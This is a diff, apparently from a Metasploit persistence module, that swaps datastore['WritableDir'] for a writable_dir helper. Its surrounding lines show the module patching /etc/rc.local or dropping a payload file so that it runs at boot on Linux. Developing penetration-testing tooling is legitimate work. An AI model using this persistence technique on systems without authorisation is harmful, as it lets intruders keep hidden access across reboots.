@@ -62,7 +62,7 @@ def initialize(info = {})
62
62
end
63
63
64
64
def check
65
- print_warning ( 'Payloads in /tmp will only last until reboot, you want to choose elsewhere.' ) if datastore [ 'WritableDir' ] . start_with? ( '/tmp' )
65
+ print_warning ( 'Payloads in /tmp will only last until reboot, you want to choose elsewhere.' ) if writable_dir . start_with? ( '/tmp' )
66
66
# a few notes for those who like to read source code. On Ubuntu 18.04.3, when no
67
67
# /etc/rc.local file exists, systemctl status rc.local shows inactive (dead).
68
68
# When /etc/rc.local exists, systemctl status rc.local shows active (exited).
@@ -77,7 +77,7 @@ def check
77
77
end
78
78
79
79
def install_persistence
80
- print_warning ( 'Payloads in /tmp will only last until reboot, you may want to choose elsewhere.' ) if datastore [ 'WritableDir' ] . start_with? ( '/tmp' )
80
+ print_warning ( 'Payloads in /tmp will only last until reboot, you may want to choose elsewhere.' ) if writable_dir . start_with? ( '/tmp' )
81
81
rc_path = '/etc/rc.local'
82
82
83
83
print_status "Reading #{ rc_path } "
@@ -97,7 +97,7 @@ def install_persistence
97
97
rc_local << "\n #{ pload } \n exit 0\n "
98
98
print_status "Patching #{ rc_path } "
99
99
else
100
- payload_path = datastore [ 'WritableDir' ]
100
+ payload_path = writable_dir
101
101
payload_path = payload_path . end_with? ( '/' ) ? payload_path : "#{ payload_path } /"
102
102
payload_name = datastore [ 'PAYLOAD_NAME' ] || rand_text_alphanumeric ( 5 ..10 )
103
103
payload_path << payload_name
0 commit comments